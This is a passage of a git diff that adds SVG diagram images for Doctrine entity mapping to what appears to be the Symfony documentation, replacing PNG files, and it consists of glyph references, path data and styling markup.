y="147.361654"/> + <use xlink:href="#glyph1-41" x="269.611111" y="147.361654"/> + <use xlink:href="#glyph1-12" x="276" y="147.361654"/> + <use xlink:href="#glyph1-10" x="280.166667" y="147.361654"/> + <use xlink:href="#glyph1-48" x="283.222222" y="147.361654"/> + <use xlink:href="#glyph1-4" x="289.888889" y="147.361654"/> + <use xlink:href="#glyph1-12" x="295.722222" y="147.361654"/> + <use xlink:href="#glyph1-6" x="299.611111" y="147.361654"/> + <use xlink:href="#glyph1-14" x="305.444444" y="147.361654"/> + <use xlink:href="#glyph1-13" x="311.833333" y="147.361654"/> + <use xlink:href="#glyph1-8" x="318.222222" y="147.361654"/> + <use xlink:href="#glyph1-15" x="322.111111" y="147.361654"/> + <use xlink:href="#glyph1-10" x="327.111111" y="147.361654"/> + <use xlink:href="#glyph1-2" x="330.166667" y="147.361654"/> + <use xlink:href="#glyph1-4" x="336.555556" y="147.361654"/> + <use xlink:href="#glyph1-12" x="342.388889" y="147.361654"/> + <use xlink:href="#glyph1-4" x="346.555556" y="147.361654"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10 37.4 L 23.45 37.4 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 23.45 37.65 L 23.95 37.4 L 23.45 37.15 Z M 23.45 37.65 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.561719 39.407812 L 24 39.6 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.565234 39.157812 L 10.061719 39.400781 L 10.558203 39.657812 Z M 10.565234 39.157812 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20.6 40.6 C 20.607617 41.257227 21.142773 41.786133 21.8 41.786133 C 22.457227 41.786133 22.992383 41.257227 23 40.6 C 23 39.2 23 37.8 23 36.4 C 23 36.081836 22.873633 35.776562 22.648438 35.551563 C 22.423438 35.326367 22.118164 35.2 21.8 35.2 C 21.481836 35.2 21.176562 35.326367 20.951563 35.551563 C 20.726367 35.776562 20.6 36.081836 20.6 36.4 C 20.6 37.8 20.6 39.2 20.6 40.6 Z M 20.6 40.6 " transform="matrix(20,0,0,20,21,-479)"/> +<path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 465.523438 261.085938 C 465.566406 261.308594 465.59375 261.5625 465.609375 261.851562 C 465.636719 262.128906 465.652344 262.410156 465.652344 262.699219 C 465.664062 262.996094 465.671875 263.28125 465.671875 263.566406 C 465.683594 263.847656 465.695312 264.117188 465.695312 264.371094 C 465.695312 265.414062 465.515625 266.304688 465.164062 267.042969 C 464.824219 267.789062 464.328125 268.386719 463.679688 268.84375 C 463.046875 269.308594 462.273438 269.636719 461.371094 269.839844 C 460.464844 270.050781 459.453125 270.15625 458.339844 270.15625 C 457.351562 270.15625 456.394531 270.054688 455.480469 269.859375 C 454.558594 269.660156 453.753906 269.332031 453.0625 268.863281 C 452.371094 268.410156 451.8125 267.804688 451.390625 267.042969 C 450.976562 266.277344 450.773438 265.324219 450.773438 264.179688 C 450.773438 263.996094 450.773438 263.757812 450.773438 263.460938 C 450.785156 263.175781 450.800781 262.878906 450.816406 262.570312 C 450.84375 262.257812 450.863281 261.964844 450.882812 261.703125 C 450.890625 261.429688 450.914062 261.226562 450.945312 261.085938 M 464.339844 264.433594 C 464.339844 264.292969 464.339844 264.140625 464.339844 263.96875 C 464.339844 263.800781 464.328125 263.636719 464.316406 263.480469 C 464.300781 263.324219 464.285156 263.175781 464.273438 263.035156 C 464.257812 262.894531 464.242188 262.78125 464.230469 262.699219 L 452.214844 262.699219 C 452.199219 262.75 452.183594 262.855469 452.171875 263.015625 C 452.171875 263.167969 452.164062 263.324219 452.152344 263.480469 C 452.152344 263.652344 452.140625 263.808594 452.132812 263.96875 C 452.132812 264.121094 452.132812 264.234375 452.132812 264.308594 C 452.132812 265.097656 452.300781 265.761719 452.640625 266.300781 C 452.980469 266.835938 453.429688 267.257812 453.996094 267.570312 C 454.558594 267.894531 455.214844 268.121094 455.96875 268.25 C 456.730469 268.378906 457.523438 268.441406 458.363281 268.441406 C 459.109375 268.441406 459.84375 268.382812 460.566406 268.269531 C 461.285156 268.15625 461.921875 267.941406 462.472656 267.636719 C 463.023438 267.339844 463.46875 266.9375 463.808594 266.425781 C 464.15625 265.917969 464.339844 265.25 464.339844 264.433594 M 456.199219 271.34375 C 458.066406 271.34375 459.433594 271.671875 460.3125 272.339844 C 461.1875 273.019531 461.625 273.976562 461.625 275.222656 C 461.625 276.546875 461.167969 277.523438 460.269531 278.148438 C 459.378906 278.78125 458.023438 279.101562 456.199219 279.101562 C 454.320312 279.101562 452.941406 278.761719 452.066406 278.082031 C 451.203125 277.40625 450.773438 276.453125 450.773438 275.222656 C 450.773438 273.890625 451.21875 272.914062 452.109375 272.277344 C 453.011719 271.652344 454.378906 271.34375 456.199219 271.34375 M 456.199219 272.976562 C 455.589844 272.976562 455.039062 273.007812 454.546875 273.082031 C 454.050781 273.167969 453.621094 273.300781 453.253906 273.484375 C 452.898438 273.664062 452.625 273.898438 452.429688 274.183594 C 452.226562 274.480469 452.132812 274.824219 452.132812 275.222656 C 452.132812 275.984375 452.449219 276.546875 453.085938 276.917969 C 453.730469 277.300781 454.769531 277.488281 456.199219 277.488281 C 456.792969 277.488281 457.332031 277.449219 457.832031 277.363281 C 458.339844 277.289062 458.769531 277.160156 459.125 276.980469 C 459.492188 276.796875 459.769531 276.558594 459.972656 276.261719 C 460.167969 275.972656 460.269531 275.628906 460.269531 275.222656 C 460.269531 274.484375 459.941406 273.929688 459.292969 273.546875 C 458.644531 273.167969 457.609375 272.976562 456.199219 272.976562 M 451.539062 287.300781 C 451.285156 286.929688 451.09375 286.519531 450.964844 286.050781 C 450.839844 285.597656 450.773438 285.117188 450.773438 284.609375 C 450.773438 283.917969 450.902344 283.328125 451.15625 282.851562 C 451.410156 282.371094 451.777344 281.984375 452.257812 281.6875 C 452.734375 281.390625 453.308594 281.167969 453.976562 281.027344 C 454.636719 280.902344 455.378906 280.839844 456.199219 280.839844 C 457.964844 280.839844 459.304688 281.160156 460.226562 281.8125 C 461.160156 282.476562 461.625 283.421875 461.625 284.652344 C 461.625 285.214844 461.574219 285.703125 461.476562 286.113281 C 461.375 286.523438 461.25 286.867188 461.09375 287.152344 L 459.761719 286.730469 C 460.097656 286.148438 460.269531 285.523438 460.269531 284.84375 C 460.269531 284.046875 459.933594 283.457031 459.273438 283.0625 C 458.621094 282.664062 457.597656 282.46875 456.199219 282.46875 C 455.632812 282.46875 455.101562 282.511719 454.609375 282.597656 C 454.113281 282.683594 453.683594 282.820312 453.316406 283.019531 C 452.945312 283.234375 452.660156 283.492188 452.449219 283.804688 C 452.238281 284.128906 452.132812 284.53125 452.132812 285.011719 C 452.132812 285.378906 452.195312 285.722656 452.320312 286.050781 C 452.460938 286.375 452.617188 286.644531 452.789062 286.855469 M 461.625 288.359375 L 461.625 289.695312 L 463.828125 289.695312 L 464.339844 291.242188 L 461.625 291.242188 L 461.625 293.597656 L 460.269531 293.597656 L 460.269531 291.242188 L 453.910156 291.242188 C 453.277344 291.242188 452.816406 291.316406 452.535156 291.476562 C 452.265625 291.628906 452.132812 291.878906 452.132812 292.21875 C 452.132812 292.515625 452.164062 292.757812 452.238281 292.960938 C 452.304688 293.171875 452.390625 293.40625 452.492188 293.660156 L 451.285156 293.957031 C 451.125 293.644531 450.996094 293.289062 450.902344 292.894531 C 450.816406 292.515625 450.773438 292.117188 450.773438 291.710938 C 450.773438 290.988281 450.996094 290.46875 451.453125 290.164062 C 451.917969 289.851562 452.671875 289.695312 453.71875 289.695312 L 460.269531 289.695312 L 460.269531 288.359375 M 461.625 294.867188 L 461.625 295.992188 L 460.3125 296.265625 L 460.3125 296.328125 C 460.71875 296.527344 461.039062 296.785156 461.265625 297.113281 C 461.503906 297.4375 461.625 297.835938 461.625 298.300781 C 461.625 298.625 461.566406 299 461.457031 299.421875 L 460.078125 299.125 C 460.207031 298.746094 460.269531 298.410156 460.269531 298.132812 C 460.269531 297.664062 460.132812 297.285156 459.867188 296.988281 C 459.597656 296.699219 459.234375 296.519531 458.785156 296.433594 L 450.773438 296.433594 L 450.773438 294.867188 M 461.625 300.566406 L 461.625 302.113281 L 450.773438 302.113281 L 450.773438 300.566406 M 464.296875 300.269531 C 464.703125 300.269531 465.039062 300.367188 465.292969 300.566406 C 465.554688 300.765625 465.695312 301.019531 465.695312 301.332031 C 465.695312 301.652344 465.566406 301.925781 465.3125 302.136719 C 465.070312 302.347656 464.730469 302.453125 464.296875 302.453125 C 463.882812 302.453125 463.558594 302.347656 463.320312 302.136719 C 463.09375 301.925781 462.980469 301.652344 462.980469 301.332031 C 462.980469 301.019531 463.097656 300.765625 463.34375 300.566406 C 463.582031 300.367188 463.898438 300.269531 464.296875 300.269531 M 450.773438 309.933594 L 457.261719 309.933594 C 458.320312 309.933594 459.082031 309.808594 459.546875 309.554688 C 460.023438 309.300781 460.269531 308.84375 460.269531 308.195312 C 460.269531 307.613281 460.097656 307.136719 459.761719 306.757812 C 459.421875 306.375 459.003906 306.097656 458.511719 305.929688 L 450.773438 305.929688 L 450.773438 304.363281 L 461.625 304.363281 L 461.625 305.503906 L 460.246094 305.78125 L 460.246094 305.84375 C 460.628906 306.125 460.953125 306.5 461.222656 306.96875 C 461.488281 307.433594 461.625 307.992188 461.625 308.640625 C 461.625 309.109375 461.5625 309.515625 461.433594 309.871094 C 461.308594 310.222656 461.085938 310.519531 460.777344 310.761719 C 460.480469 311 460.078125 311.175781 459.570312 311.292969 C 459.0625 311.417969 458.414062 311.480469 457.640625 311.480469 L 450.773438 311.480469 M 451.730469 320.363281 C 451.433594 320.007812 451.199219 319.5625 451.027344 319.027344 C 450.859375 318.5 450.773438 317.945312 450.773438 317.351562 C 450.773438 316.65625 450.902344 316.066406 451.15625 315.570312 C 451.410156 315.074219 451.777344 314.667969 452.257812 314.34375 C 452.734375 314.015625 453.300781 313.777344 453.953125 313.621094 C 454.617188 313.464844 455.363281 313.390625 456.199219 313.390625 C 457.964844 313.390625 459.304688 313.726562 460.226562 314.40625 C 461.160156 315.085938 461.625 316.042969 461.625 317.289062 C 461.625 317.695312 461.574219 318.097656 461.476562 318.496094 C 461.390625 318.886719 461.207031 319.242188 460.925781 319.554688 C 460.640625 319.878906 460.246094 320.140625 459.738281 320.339844 C 459.230469 320.535156 458.5625 320.636719 457.746094 320.636719 C 457.519531 320.636719 457.269531 320.621094 457.003906 320.59375 C 456.75 320.578125 456.480469 320.558594 456.199219 320.53125 L 456.199219 315.019531 C 455.574219 315.019531 455.011719 315.070312 454.503906 315.167969 C 454.007812 315.265625 453.582031 315.421875 453.234375 315.636719 C 452.878906 315.859375 452.601562 316.144531 452.40625 316.484375 C 452.222656 316.824219 452.132812 317.246094 452.132812 317.753906 C 452.132812 318.148438 452.195312 318.539062 452.320312 318.921875 C 452.460938 319.300781 452.628906 319.589844 452.832031 319.789062 M 457.554688 319.132812 C 458.488281 319.160156 459.171875 319.003906 459.613281 318.667969 C 460.046875 318.335938 460.269531 317.886719 460.269531 317.308594 C 460.269531 316.640625 460.046875 316.113281 459.613281 315.71875 C 459.171875 315.339844 458.488281 315.109375 457.554688 315.042969 Z M 457.554688 319.132812 "/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-17" x="59.203125" y="206.451389"/> + <use xlink:href="#glyph0-9" x="67.814236" y="206.451389"/> + <use xlink:href="#glyph0-10" x="73.369792" y="206.451389"/> + <use xlink:href="#glyph0-11" x="82.258681" y="206.451389"/> + <use xlink:href="#glyph0-12" x="91.147569" y="206.451389"/> + <use xlink:href="#glyph0-13" x="100.036458" y="206.451389"/> + <use xlink:href="#glyph0-14" x="107.258681" y="206.451389"/> + <use xlink:href="#glyph0-7" x="112.814236" y="206.451389"/> + <use xlink:href="#glyph0-18" x="117.258681" y="206.451389"/> + <use xlink:href="#glyph0-3" x="128.369792" y="206.451389"/> + <use xlink:href="#glyph0-19" x="137.258681" y="206.451389"/> + <use xlink:href="#glyph0-5" x="141.703125" y="206.451389"/> + <use xlink:href="#glyph0-13" x="150.036458" y="206.451389"/> + <use xlink:href="#glyph0-14" x="157.258681" y="206.451389"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-20" x="45.179688" y="231.853733"/> + <use xlink:href="#glyph0-21" x="57.124132" y="231.853733"/> + <use xlink:href="#glyph0-14" x="61.568576" y="231.853733"/> + <use xlink:href="#glyph0-22" x="67.124132" y="231.853733"/> + <use xlink:href="#glyph0-7" x="76.013021" y="231.853733"/> + <use xlink:href="#glyph0-23" x="80.457465" y="231.853733"/> + <use xlink:href="#glyph0-2" x="89.624132" y="231.853733"/> + <use xlink:href="#glyph0-14" x="97.679688" y="231.853733"/> + <use xlink:href="#glyph0-5" x="103.235243" y="231.853733"/> + <use xlink:href="#glyph0-15" x="111.568576" y="231.853733"/> + <use xlink:href="#glyph0-10" x="120.457465" y="231.853733"/> + <use xlink:href="#glyph0-9" x="129.346354" y="231.853733"/> + <use xlink:href="#glyph0-16" x="134.90191" y="231.853733"/> + <use xlink:href="#glyph0-7" x="141.846354" y="231.853733"/> + <use xlink:href="#glyph0-11" x="146.290799" y="231.853733"/> + <use xlink:href="#glyph0-2" x="155.179688" y="231.853733"/> + <use xlink:href="#glyph0-14" x="163.235243" y="231.853733"/> + <use xlink:href="#glyph0-2" x="168.790799" y="231.853733"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-49" x="241" y="261.017904"/> + <use xlink:href="#glyph1-7" x="247.666667" y="261.017904"/> + <use xlink:href="#glyph1-8" x="254.055556" y="261.017904"/> + <use xlink:href="#glyph1-13" x="257.944444" y="261.017904"/> + <use xlink:href="#glyph1-2" x="264.333333" y="261.017904"/> + <use xlink:href="#glyph1-41" x="270.722222" y="261.017904"/> + <use xlink:href="#glyph1-9" x="277.111111" y="261.017904"/> + <use xlink:href="#glyph1-12" x="282.388889" y="261.017904"/> + <use xlink:href="#glyph1-50" x="286" y="261.017904"/> + <use xlink:href="#glyph1-51" x="290.166667" y="261.017904"/> + <use xlink:href="#glyph1-14" x="296.277778" y="261.017904"/> + <use xlink:href="#glyph1-6" x="302.666667" y="261.017904"/> + <use xlink:href="#glyph1-12" x="308.777778" y="261.017904"/> + <use xlink:href="#glyph1-48" x="312.944444" y="261.017904"/> + <use xlink:href="#glyph1-4" x="319.611111" y="261.017904"/> + <use xlink:href="#glyph1-12" x="325.444444" y="261.017904"/> + <use xlink:href="#glyph1-6" x="329.333333" y="261.017904"/> + <use xlink:href="#glyph1-14" x="335.166667" y="261.017904"/> + <use xlink:href="#glyph1-13" x="341.555556" y="261.017904"/> + <use xlink:href="#glyph1-8" x="347.944444" y="261.017904"/> + <use xlink:href="#glyph1-15" x="351.833333" y="261.017904"/> + <use xlink:href="#glyph1-52" x="357.388889" y="261.017904"/> + <use xlink:href="#glyph1-53" x="360.722222" y="261.017904"/> + <use xlink:href="#glyph1-50" x="364.055556" y="261.017904"/> + <use xlink:href="#glyph1-51" x="368.222222" y="261.017904"/> + <use xlink:href="#glyph1-14" x="374.333333" y="261.017904"/> + <use xlink:href="#glyph1-6" x="380.722222" y="261.017904"/> + <use xlink:href="#glyph1-12" x="386.833333" y="261.017904"/> + <use xlink:href="#glyph1-54" x="391" y="261.017904"/> + <use xlink:href="#glyph1-4" x="398.777778" y="261.017904"/> + <use xlink:href="#glyph1-5" x="404.611111" y="261.017904"/> + <use xlink:href="#glyph1-6" x="414.055556" y="261.017904"/> + <use xlink:href="#glyph1-52" x="420.166667" y="261.017904"/> + <use xlink:href="#glyph1-53" x="423.5" y="261.017904"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-44" x="241" y="331.017904"/> + <use xlink:href="#glyph1-13" x="248.777778" y="331.017904"/> + <use xlink:href="#glyph1-9" x="255.166667" y="331.017904"/> + <use xlink:href="#glyph1-12" x="260.444444" y="331.017904"/> + <use xlink:href="#glyph1-8" x="264.611111" y="331.017904"/> + <use xlink:href="#glyph1-1" x="268.5" y="331.017904"/> + <use xlink:href="#glyph1-3" x="271.555556" y="331.017904"/> + <use xlink:href="#glyph1-6" x="277.944444" y="331.017904"/> + <use xlink:href="#glyph1-10" x="284.055556" y="331.017904"/> + <use xlink:href="#glyph1-29" x="287.111111" y="331.017904"/> + <use xlink:href="#glyph1-4" x="290.444444" y="331.017904"/> + <use xlink:href="#glyph1-55" x="296.277778" y="331.017904"/> + <use xlink:href="#glyph1-1" x="301.555556" y="331.017904"/> + <use xlink:href="#glyph1-29" x="304.611111" y="331.017904"/> + <use xlink:href="#glyph1-15" x="307.944444" y="331.017904"/> + <use xlink:href="#glyph1-10" x="312.944444" y="331.017904"/> + <use xlink:href="#glyph1-7" x="316" y="331.017904"/> + <use xlink:href="#glyph1-13" x="322.388889" y="331.017904"/> + <use xlink:href="#glyph1-7" x="328.777778" y="331.017904"/> + <use xlink:href="#glyph1-41" x="335.166667" y="331.017904"/> + <use xlink:href="#glyph1-29" x="341.555556" y="331.017904"/> + <use xlink:href="#glyph1-4" x="344.888889" y="331.017904"/> + <use xlink:href="#glyph1-12" x="350.722222" y="331.017904"/> + <use xlink:href="#glyph1-6" x="354.611111" y="331.017904"/> + <use xlink:href="#glyph1-11" x="360.722222" y="331.017904"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-12" x="241" y="349.361654"/> + <use xlink:href="#glyph1-47" x="245.166667" y="349.361654"/> + <use xlink:href="#glyph1-6" x="251.555556" y="349.361654"/> + <use xlink:href="#glyph1-10" x="257.666667" y="349.361654"/> + <use xlink:href="#glyph1-48" x="260.722222" y="349.361654"/> + <use xlink:href="#glyph1-4" x="267.388889" y="349.361654"/> + <use xlink:href="#glyph1-12" x="273.222222" y="349.361654"/> + <use xlink:href="#glyph1-6" x="277.111111" y="349.361654"/> + <use xlink:href="#glyph1-14" x="282.944444" y="349.361654"/> + <use xlink:href="#glyph1-13" x="289.333333" y="349.361654"/> + <use xlink:href="#glyph1-8" x="295.722222" y="349.361654"/> + <use xlink:href="#glyph1-15" x="299.611111" y="349.361654"/> + <use xlink:href="#glyph1-10" x="304.611111" y="349.361654"/> + <use xlink:href="#glyph1-2" x="307.666667" y="349.361654"/> + <use xlink:href="#glyph1-4" x="314.055556" y="349.361654"/> + <use xlink:href="#glyph1-12" x="319.888889" y="349.361654"/> + <use xlink:href="#glyph1-4" x="324.055556" y="349.361654"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.3 36 C 0.134375 36 0 36.134375 0 36.3 L 0 40.7 C 0 40.865625 0.134375 41 0.3 41 L 8.7 41 C 8.865625 41 9 40.865625 9 40.7 L 9 36.3 C 9 36.134375 8.865625 36 8.7 36 Z M 0.3 36 " transform="matrix(20,0,0,20,21,-479)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="29.429688" y="260.14681"/> + <use xlink:href="#glyph1-2" x="32.485243" y="260.14681"/> + <use xlink:href="#glyph1-39" x="38.874132" y="260.14681"/> + <use xlink:href="#glyph1-10" x="41.929688" y="260.14681"/> + <use xlink:href="#glyph1-17" x="44.985243" y="260.14681"/> + <use xlink:href="#glyph1-18" x="51.65191" y="260.14681"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-3" x="29.429688" y="278.49056"/> + <use xlink:href="#glyph1-4" x="35.818576" y="278.49056"/> + <use xlink:href="#glyph1-5" x="41.65191" y="278.49056"/> + <use xlink:href="#glyph1-6" x="51.096354" y="278.49056"/> + <use xlink:href="#glyph1-39" x="57.207465" y="278.49056"/> + <use xlink:href="#glyph1-10" x="60.263021" y="278.49056"/> + <use xlink:href="#glyph1-19" x="63.318576" y="278.49056"/> + <use xlink:href="#glyph1-1" x="70.263021" y="278.49056"/> + <use xlink:href="#glyph1-20" x="73.318576" y="278.49056"/> + <use xlink:href="#glyph1-6" x="78.874132" y="278.49056"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-7" x="29.429688" y="296.838216"/> + <use xlink:href="#glyph1-8" x="35.818576" y="296.838216"/> + <use xlink:href="#glyph1-1" x="39.707465" y="296.838216"/> + <use xlink:href="#glyph1-9" x="42.763021" y="296.838216"/> + <use xlink:href="#glyph1-6" x="47.763021" y="296.838216"/> + <use xlink:href="#glyph1-39" x="53.874132" y="296.838216"/> + <use xlink:href="#glyph1-10" x="56.929688" y="296.838216"/> + <use xlink:href="#glyph1-21" x="59.985243" y="296.838216"/> + <use xlink:href="#glyph1-22" x="66.65191" y="296.838216"/> + <use xlink:href="#glyph1-23" x="73.318576" y="296.838216"/> + <use xlink:href="#glyph1-23" x="79.985243" y="296.838216"/> + <use xlink:href="#glyph1-24" x="86.65191" y="296.838216"/> + <use xlink:href="#glyph1-23" x="89.15191" y="296.838216"/> + <use xlink:href="#glyph1-23" x="95.818576" y="296.838216"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="29.429688" y="315.181966"/> + <use xlink:href="#glyph1-6" x="35.818576" y="315.181966"/> + <use xlink:href="#glyph1-11" x="41.929688" y="315.181966"/> + <use xlink:href="#glyph1-9" x="46.929688" y="315.181966"/> + <use xlink:href="#glyph1-8" x="52.207465" y="315.181966"/> + <use xlink:href="#glyph1-1" x="56.096354" y="315.181966"/> + <use xlink:href="#glyph1-7" x="59.15191" y="315.181966"/> + <use xlink:href="#glyph1-12" x="65.540799" y="315.181966"/> + <use xlink:href="#glyph1-1" x="69.707465" y="315.181966"/> + <use xlink:href="#glyph1-13" x="72.763021" y="315.181966"/> + <use xlink:href="#glyph1-3" x="79.15191" y="315.181966"/> + <use xlink:href="#glyph1-39" x="85.540799" y="315.181966"/> + <use xlink:href="#glyph1-10" x="88.596354" y="315.181966"/> + <use xlink:href="#glyph1-25" x="91.65191" y="315.181966"/> + <use xlink:href="#glyph1-26" x="98.040799" y="315.181966"/> + <use xlink:href="#glyph1-6" x="103.874132" y="315.181966"/> + <use xlink:href="#glyph1-2" x="109.985243" y="315.181966"/> + <use xlink:href="#glyph1-10" x="116.374132" y="315.181966"/> + <use xlink:href="#glyph1-14" x="119.429688" y="315.181966"/> + <use xlink:href="#glyph1-6" x="125.818576" y="315.181966"/> + <use xlink:href="#glyph1-4" x="131.929688" y="315.181966"/> + <use xlink:href="#glyph1-8" x="137.763021" y="315.181966"/> + <use xlink:href="#glyph1-40" x="141.096354" y="315.181966"/> + <use xlink:href="#glyph1-10" x="142.763021" y="315.181966"/> + <use xlink:href="#glyph1-31" x="145.818576" y="315.181966"/> + <use xlink:href="#glyph1-29" x="152.207465" y="315.181966"/> + <use xlink:href="#glyph1-41" x="155.540799" y="315.181966"/> + <use xlink:href="#glyph1-6" x="161.929688" y="315.181966"/> + <use xlink:href="#glyph1-40" x="168.040799" y="315.181966"/> + <use xlink:href="#glyph1-10" x="169.707465" y="315.181966"/> + <use xlink:href="#glyph1-42" x="172.763021" y="315.181966"/> + <use xlink:href="#glyph1-4" x="176.65191" y="315.181966"/> + <use xlink:href="#glyph1-11" x="182.485243" y="315.181966"/> + <use xlink:href="#glyph1-12" x="187.485243" y="315.181966"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-9" x="29.429688" y="333.525716"/> + <use xlink:href="#glyph1-4" x="34.707465" y="333.525716"/> + <use xlink:href="#glyph1-12" x="40.540799" y="333.525716"/> + <use xlink:href="#glyph1-6" x="44.429688" y="333.525716"/> + <use xlink:href="#glyph1-14" x="50.263021" y="333.525716"/> + <use xlink:href="#glyph1-13" x="56.65191" y="333.525716"/> + <use xlink:href="#glyph1-8" x="63.040799" y="333.525716"/> + <use xlink:href="#glyph1-15" x="66.929688" y="333.525716"/> + <use xlink:href="#glyph1-39" x="72.485243" y="333.525716"/> + <use xlink:href="#glyph1-10" x="75.540799" y="333.525716"/> + <use xlink:href="#glyph1-19" x="78.596354" y="333.525716"/> + <use xlink:href="#glyph1-1" x="85.540799" y="333.525716"/> + <use xlink:href="#glyph1-20" x="88.596354" y="333.525716"/> + <use xlink:href="#glyph1-6" x="94.15191" y="333.525716"/> + <use xlink:href="#glyph1-11" x="100.263021" y="333.525716"/> +</g> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.692773 26.453906 C 10.692773 26.737695 10.468945 26.967969 10.192773 26.967969 C 9.916602 26.967969 9.692773 26.737695 9.692773 26.453906 C 9.692773 26.169922 9.916602 25.939844 10.192773 25.939844 C 10.468945 25.939844 10.692773 26.169922 10.692773 26.453906 " transform="matrix(20,0,0,20,21,-479)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-17" x="221.535156" y="55.873372"/> +</g> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.7 30.404297 C 10.7 30.688281 10.476172 30.918359 10.2 30.918359 C 9.923828 30.918359 9.7 30.688281 9.7 30.404297 C 9.7 30.120508 9.923828 29.890234 10.2 29.890234 C 10.476172 29.890234 10.7 30.120508 10.7 30.404297 " transform="matrix(20,0,0,20,21,-479)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-18" x="221.679688" y="134.881185"/> +</g> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.7 36.287109 C 10.7 36.571094 10.476172 36.801172 10.2 36.801172 C 9.923828 36.801172 9.7 36.571094 9.7 36.287109 C 9.7 36.00332 9.923828 35.773047 10.2 35.773047 C 10.476172 35.773047 10.7 36.00332 10.7 36.287109 " transform="matrix(20,0,0,20,21,-479)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-27" x="221.679688" y="252.537435"/> +</g> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.7 40.269336 C 10.7 40.55332 10.476172 40.783398 10.2 40.783398 C 9.923828 40.783398 9.7 40.55332 9.7 40.269336 C 9.7 39.985547 9.923828 39.755273 10.2 39.755273 C 10.476172 39.755273 10.7 39.985547 10.7 40.269336 " transform="matrix(20,0,0,20,21,-479)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-33" x="221.679688" y="332.181966"/> +</g> +</g> +</svg> diff --git a/_images/doctrine/mapping_single_entity.png b/_images/doctrine/mapping_single_entity.png deleted file mode 100644 index 6f88c6cacfa..00000000000 Binary files a/_images/doctrine/mapping_single_entity.png and /dev/null differ diff --git a/_images/doctrine/mapping_single_entity.svg b/_images/doctrine/mapping_single_entity.svg new file mode 100644 index 00000000000..5d517c85fb1 --- /dev/null +++ b/_images/doctrine/mapping_single_entity.svg @@ -0,0 +1,469 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="681pt" height="170pt" viewBox="0 0 681 170" version="1.1"> +<defs> +<g> +<symbol overflow="visible" id="glyph0-0"> +<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 